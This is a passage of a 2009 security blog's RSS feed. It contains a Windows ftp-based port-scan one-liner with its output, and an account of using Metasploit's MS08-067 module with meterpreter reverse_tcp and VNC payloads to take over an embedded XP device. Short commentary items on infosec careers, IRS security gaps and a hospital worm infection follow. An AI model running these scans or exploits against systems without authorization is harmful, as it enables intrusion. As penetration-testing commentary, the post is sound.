If you don't want to write anything to disk you can do this:&lt;span style="font-family: courier new; color: #27750f;"&gt;
&lt;p style="margin-right: 0px;" dir="ltr"&gt;&lt;span style="font-family: courier new;"&gt;for /L %i in (1,1,1024) do @((echo open 10.10.10.10 %i)&amp;amp;(echo quit)) | ftp 2&amp;gt;&amp;amp;1 | find "host" &amp;amp;&amp;amp; @echo %i is open&lt;br /&gt;
&lt;br /&gt;
Output:&lt;br /&gt;
Connection closed by remote host.&lt;br /&gt;
22 is open&lt;br /&gt;
Connection closed by remote host.&lt;br /&gt;
80 is open&lt;/span&gt;&lt;/p&gt;
&lt;/span&gt;</description><comments>http://blog.securitywhole.com/2009/02/28/ftp-port-scanning.aspx#Comments</comments><guid isPermaLink="false">bb5f2820-4e4d-422b-a118-54ad0ce6b03d</guid><pubDate>Sat, 28 Feb 2009 19:10:52 GMT</pubDate></item><item><title>WinXP Embedded and MS08-067</title><link>http://blog.securitywhole.com/2009/02/23/winxp-embedded-and-ms08067.aspx?ref=rss</link><dc:creator>Tim Medin</dc:creator><description>I ran a rather routine Nessus scan of a network and noticed in the report that one of the devices was flagged as being vulnerable to MS08-067. Upon closer inspection I found out that this was an embedded device (sorry, not providing specifics on what it was). I thought it was rather interesting so I decided to use MetaSploit to confirm.&lt;BR&gt;&lt;BR&gt;After starting msfconsole I selected the ms08-067 exploit (windows/smb/ms08_067_netapi)&amp;nbsp;with the meterpreter payload (windows/meterpreter/reverse_tcp) and sure enough I could pop the box. All the meterpreter commands I ran worked just like an XP box. I could have run anything I wanted, such as a keylogger to capture credentials.&lt;BR&gt;&lt;BR&gt;I tried the VNC payload (windows/vncinject/bind_tcp) and sent the exploit again. After a few seconds I had a view of the desktop. Lots of nice information would be there.&lt;BR&gt;&lt;BR&gt;As a test I tried to write a file to the file system and then rebooted the box. When it came back up and I exploited the box again the file was gone. The "no write" option prevented my attack from persisting, but it didn't stop it from happening. How often does an&amp;nbsp;embedded device get rebooted anyhow? Once it was popped it would probably only be booted during a power failure and for all intents and purposes could be considered persistent.&lt;BR&gt;&lt;BR&gt;All I have left to do is figure out how to patch it.&lt;BR&gt;</description><comments>http://blog.securitywhole.com/2009/02/23/winxp-embedded-and-ms08067.aspx#Comments</comments><guid isPermaLink="false">6239385d-4e97-43d6-8d0e-afa9e2383a92</guid><pubDate>Tue, 24 Feb 2009 02:55:40 GMT</pubDate></item><item><title>Is Information Security for you?</title><link>http://blog.securitywhole.com/2009/02/18/is-information-security-for-you.aspx?ref=rss</link><dc:creator>Tim Medin</dc:creator><description>&lt;P&gt;A great blog post with good input for the "wannabes"&lt;BR&gt;&lt;BR&gt;&lt;/P&gt;
&lt;BLOCKQUOTE&gt;So, You Wanna Be in InfoSec?&lt;BR&gt;http://stateofsecurity.com/?p=588&lt;BR&gt;&lt;/BLOCKQUOTE&gt;</description><comments>http://blog.securitywhole.com/2009/02/18/is-information-security-for-you.aspx#Comments</comments><guid isPermaLink="false">4499a8fa-a0d4-4b43-97a9-4cece7fad0cd</guid><pubDate>Wed, 18 Feb 2009 21:24:48 GMT</pubDate></item><item><title>IRS to get pwnd, good thing there is nothing important there</title><link>http://blog.securitywhole.com/2009/01/26/irs-to-get-pwnd-good-thing-there-is-nothing-important-there.aspx?ref=rss</link><dc:creator>Tim Medin</dc:creator><description>&lt;P&gt;So when do we get PCI for the govt?&lt;BR&gt;&lt;/P&gt;
&lt;BLOCKQUOTE&gt;The Government Accountability Office reported Friday that the tax-collecting arm of the U.S. government had addressed fewer than half of the 115 security holes the oversight agency previously cited.&lt;A href="http://www.washingtonpost.com/wp-dyn/content/article/2009/01/15/AR2009011500955.html"&gt;&lt;BR&gt;http://www.washingtonpost.com/wp-dyn/content/article/2009/01/15/AR2009011500955.html&lt;/A&gt;&lt;/BLOCKQUOTE&gt;</description><comments>http://blog.securitywhole.com/2009/01/26/irs-to-get-pwnd-good-thing-there-is-nothing-important-there.aspx#Comments</comments><guid isPermaLink="false">c37ed126-c24e-40d3-b3f6-76ac6751b5d7</guid><pubDate>Tue, 27 Jan 2009 01:06:00 GMT</pubDate></item><item><title>Hospital Infected</title><link>http://blog.securitywhole.com/2009/01/26/hospital-infected.aspx?ref=rss</link><dc:creator>Tim Medin</dc:creator><description>There are so many issues at this hospital!&lt;BR&gt;
&lt;OL&gt;
&lt;LI&gt;If patches were applied "a few weeks" after it was released, then how does a three month old security whole get exploited by the worm?&lt;/LI&gt;
&lt;LI&gt;Surgery computers&amp;nbsp;set to automatically reboot - why would any computer touching a patient be allowed to do that?&lt;/LI&gt;
&lt;LI&gt;&lt;A href="http://www.theregister.co.uk/2009/01/20/sheffield_conficker/"&gt;&lt;/A&gt;Networked computers in surgery?&lt;/LI&gt;
&lt;LI&gt;Seriously, who decides to stop patching?&lt;/LI&gt;&lt;/OL&gt;&lt;A href="http://www.theregister.co.uk/2009/01/20/sheffield_conficker/"&gt;http://www.theregister.co.uk/2009/01/20/sheffield_conficker/&lt;/A&gt;</description><comments>http://blog.securitywhole.com/2009/01/26/hospital-infected.aspx#Comments</comments><guid isPermaLink="false">9700f77b-fea6-4551-963b-4c16c415d154</guid><pubDate>Tue, 27 Jan 2009 00:54:00 GMT</pubDate></item></channel></rss>